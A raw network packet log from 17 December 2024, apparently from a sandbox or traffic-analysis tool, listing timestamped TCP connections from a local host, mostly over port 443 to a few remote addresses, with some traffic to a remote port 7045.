Dec 17, 2024 03:53:36.014925957 CET	443	50108	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:36.014985085 CET	50108	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:36.015276909 CET	443	50108	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:36.015331030 CET	50108	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:36.015784025 CET	50114	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:36.015825033 CET	443	50114	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:36.015886068 CET	50114	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:36.016242981 CET	50114	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:36.016258955 CET	443	50114	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:36.280765057 CET	443	50109	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.280981064 CET	50109	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.281748056 CET	50109	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.281771898 CET	443	50109	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.281867981 CET	50109	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.282222033 CET	443	50109	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.282285929 CET	50109	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.282764912 CET	50118	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.282819986 CET	443	50118	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.282883883 CET	50118	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.283276081 CET	50118	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.283294916 CET	443	50118	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.351124048 CET	443	50110	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.351181984 CET	50110	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.351824999 CET	50110	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.351829052 CET	443	50110	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.351898909 CET	50110	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.352036953 CET	443	50110	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.352081060 CET	50110	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.352714062 CET	50119	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.352798939 CET	443	50119	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.352866888 CET	50119	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.353184938 CET	50119	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.353221893 CET	443	50119	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.613338947 CET	443	50111	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.613476038 CET	50111	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.614371061 CET	50111	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.614398956 CET	443	50111	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.614501953 CET	50111	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.614762068 CET	443	50111	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.614829063 CET	50111	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.615417957 CET	50120	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.615499020 CET	443	50120	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.615592003 CET	50120	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.615983009 CET	50120	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:36.616019011 CET	443	50120	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:37.398835897 CET	443	50114	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:37.398922920 CET	50114	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:37.399735928 CET	50114	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:37.399746895 CET	443	50114	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:37.399823904 CET	50114	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:37.400162935 CET	443	50114	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:37.400229931 CET	50114	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:37.627249002 CET	50121	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:37.627280951 CET	443	50121	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:37.627485991 CET	50121	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:37.628098011 CET	50121	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:37.628109932 CET	443	50121	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:37.813513041 CET	443	50118	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:37.813616037 CET	50118	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.814496040 CET	50118	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.814513922 CET	443	50118	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:37.814587116 CET	50118	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.814910889 CET	443	50118	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:37.814971924 CET	50118	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.815673113 CET	50122	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.815759897 CET	443	50122	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:37.815848112 CET	50122	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.816339016 CET	50122	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.816373110 CET	443	50122	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:37.875868082 CET	443	50119	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:37.875993967 CET	50119	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.877094030 CET	50119	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.877121925 CET	443	50119	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:37.877171993 CET	50119	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.877295971 CET	443	50119	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:37.877352953 CET	50119	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.877852917 CET	50123	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.877948999 CET	443	50123	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:37.878060102 CET	50123	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.878406048 CET	50123	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:37.878433943 CET	443	50123	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:38.153397083 CET	443	50120	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:38.153594971 CET	50120	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:38.201834917 CET	50120	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:38.201895952 CET	443	50120	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:38.202033997 CET	50120	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:38.202449083 CET	443	50120	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:38.202533960 CET	50120	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:38.202703953 CET	50125	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:38.202785969 CET	443	50125	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:38.202879906 CET	50125	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:38.214756012 CET	50125	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:38.214792013 CET	443	50125	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:38.786520958 CET	50130	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:38.799210072 CET	50131	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:38.906550884 CET	7045	50130	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:38.906681061 CET	50130	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:38.906903028 CET	50130	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:38.919068098 CET	7045	50131	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:38.919292927 CET	50131	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:38.919620991 CET	50131	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:39.011375904 CET	443	50121	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:39.011502981 CET	50121	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:39.012655020 CET	50121	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:39.012666941 CET	443	50121	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:39.012829065 CET	50121	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:39.013082027 CET	443	50121	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:39.013142109 CET	50121	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:39.013885975 CET	50132	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:39.013969898 CET	443	50132	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:39.014214039 CET	50132	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:39.014432907 CET	50132	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:39.014481068 CET	443	50132	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:39.026623011 CET	7045	50130	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:39.027026892 CET	443	50122	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.027147055 CET	50122	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.027661085 CET	50122	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.027708054 CET	443	50122	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.027760983 CET	50122	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.028063059 CET	443	50122	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.028131962 CET	50122	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.028232098 CET	50133	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.028310061 CET	443	50133	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.028393984 CET	50133	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.028865099 CET	50133	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.028899908 CET	443	50133	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.039521933 CET	7045	50131	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:39.086184978 CET	443	50123	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.086352110 CET	50123	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.086849928 CET	50123	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.086878061 CET	443	50123	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.086926937 CET	50123	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.087066889 CET	443	50123	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.087131023 CET	50123	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.087598085 CET	50134	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.087697983 CET	443	50134	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.087779045 CET	50134	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.088197947 CET	50134	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.088232994 CET	443	50134	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.768477917 CET	443	50125	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.768649101 CET	50125	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.769881010 CET	50125	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.769908905 CET	443	50125	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.770004988 CET	50125	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.770323038 CET	443	50125	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.771097898 CET	50135	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.771137953 CET	50125	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.771173954 CET	443	50135	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:39.771251917 CET	50135	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.772414923 CET	50135	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:39.772445917 CET	443	50135	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:40.249854088 CET	443	50133	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:40.250045061 CET	50133	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.251140118 CET	50133	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.251173019 CET	443	50133	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:40.251254082 CET	50133	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.251528025 CET	443	50133	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:40.251596928 CET	50133	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.252177954 CET	50136	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.252230883 CET	443	50136	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:40.252305984 CET	50136	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.252763033 CET	50136	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.252782106 CET	443	50136	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:40.307512045 CET	443	50134	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:40.307734013 CET	50134	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.308267117 CET	50134	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.308326006 CET	443	50134	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:40.308372021 CET	50134	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.308526993 CET	443	50134	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:40.308579922 CET	50134	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.308932066 CET	50138	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.308959961 CET	443	50138	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:40.309010983 CET	50138	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.310770988 CET	50138	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:40.310782909 CET	443	50138	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:40.423954964 CET	443	50132	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:40.424072981 CET	50132	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:40.424778938 CET	50132	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:40.424798965 CET	443	50132	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:40.424900055 CET	50132	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:40.425009012 CET	443	50132	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:40.425061941 CET	50132	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:40.425569057 CET	50139	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:40.425673962 CET	443	50139	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:40.425774097 CET	50139	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:40.426192999 CET	50139	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:40.426270962 CET	443	50139	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:40.706394911 CET	7045	50130	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:40.706517935 CET	50130	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:40.706653118 CET	50130	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:40.826334000 CET	7045	50130	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:41.330040932 CET	443	50135	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.330147982 CET	50135	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.334219933 CET	50135	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.334233046 CET	443	50135	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.334333897 CET	50135	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.334680080 CET	443	50135	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.334747076 CET	50135	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.335140944 CET	50144	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.335189104 CET	443	50144	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.336026907 CET	50144	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.336611986 CET	50144	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.336625099 CET	443	50144	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.517610073 CET	443	50138	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.517705917 CET	50138	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.519892931 CET	50138	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.519901037 CET	443	50138	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.519988060 CET	50138	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.520072937 CET	443	50138	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.520118952 CET	50138	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.523961067 CET	50145	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.524048090 CET	443	50145	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.524146080 CET	50145	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.526633024 CET	50145	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.526669025 CET	443	50145	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.603496075 CET	7045	50131	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:41.603651047 CET	50131	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:41.603651047 CET	50131	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:41.723855019 CET	7045	50131	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:41.802571058 CET	443	50136	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.802675009 CET	50136	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.803498030 CET	50136	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.803508997 CET	443	50136	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.803591013 CET	50136	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.803937912 CET	443	50136	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.803988934 CET	50136	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.804321051 CET	50146	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.804368019 CET	443	50146	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.804428101 CET	50146	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.804824114 CET	50146	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:41.804841042 CET	443	50146	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:41.819001913 CET	443	50139	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:41.819103003 CET	50139	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:41.819935083 CET	50139	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:41.819963932 CET	443	50139	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:41.820029020 CET	50139	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:41.820492983 CET	443	50139	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:41.820564032 CET	50139	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:41.820847034 CET	50147	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:41.820908070 CET	443	50147	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:41.820981979 CET	50147	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:41.821321964 CET	50147	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:41.821345091 CET	443	50147	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:42.815704107 CET	443	50145	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:42.815785885 CET	50145	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.816945076 CET	50145	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.816961050 CET	443	50145	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:42.817033052 CET	50145	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.817110062 CET	443	50145	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:42.817183018 CET	50145	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.817761898 CET	50150	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.817831993 CET	443	50150	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:42.817908049 CET	50150	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.818293095 CET	50150	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.818346977 CET	443	50150	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:42.896684885 CET	443	50144	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:42.896790981 CET	50144	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.897576094 CET	50144	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.897576094 CET	50144	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.897593021 CET	443	50144	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:42.898020983 CET	50154	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.898046970 CET	443	50154	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:42.898238897 CET	443	50144	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:42.898355007 CET	50144	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.898359060 CET	50154	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.898710966 CET	50154	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:42.898720026 CET	443	50154	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:43.025686026 CET	443	50146	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:43.025775909 CET	50146	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:43.026638031 CET	50146	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:43.026665926 CET	443	50146	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:43.026770115 CET	50146	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:43.027048111 CET	443	50146	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:43.027110100 CET	50146	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:43.027656078 CET	50155	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:43.027738094 CET	443	50155	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:43.027823925 CET	50155	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:43.028287888 CET	50155	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:43.028322935 CET	443	50155	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:43.212393045 CET	443	50147	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:43.212487936 CET	50147	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:43.213128090 CET	50147	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:43.213136911 CET	443	50147	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:43.213203907 CET	50147	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:43.213325024 CET	443	50147	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:43.213371038 CET	50147	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:43.213855982 CET	50156	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:43.213937998 CET	443	50156	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:43.214031935 CET	50156	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:43.214368105 CET	50156	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:43.214401960 CET	443	50156	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:44.038424015 CET	443	50150	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.038642883 CET	50150	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.039619923 CET	50150	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.039649010 CET	443	50150	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.039726973 CET	50150	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.039808035 CET	443	50150	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.039865971 CET	50150	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.040667057 CET	50157	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.040712118 CET	443	50157	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.040780067 CET	50157	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.041198015 CET	50157	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.041208982 CET	443	50157	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.117331028 CET	443	50154	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.117434025 CET	50154	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.118205070 CET	50154	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.118212938 CET	443	50154	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.118326902 CET	50154	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.118603945 CET	443	50154	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.118655920 CET	50154	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.119141102 CET	50158	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.119177103 CET	443	50158	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.119250059 CET	50158	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.119585037 CET	50158	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.119609118 CET	443	50158	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.562412977 CET	443	50155	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.562515020 CET	50155	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.563294888 CET	50155	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.563338995 CET	443	50155	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.563386917 CET	50155	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.563776016 CET	443	50155	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.563838005 CET	50155	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.564129114 CET	50159	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.564157963 CET	443	50159	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.564347982 CET	50159	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.564810991 CET	50159	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:44.564821959 CET	443	50159	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:44.603894949 CET	443	50156	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:44.604127884 CET	50156	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:44.604746103 CET	50156	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:44.604746103 CET	50156	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:44.604804039 CET	443	50156	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:44.605175972 CET	443	50156	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:44.605324030 CET	50160	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:44.605377913 CET	50156	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:44.605408907 CET	443	50160	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:44.605490923 CET	50160	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:44.605911970 CET	50160	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:44.605994940 CET	443	50160	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:45.249061108 CET	443	50157	199.232.192.209	192.168.2.4
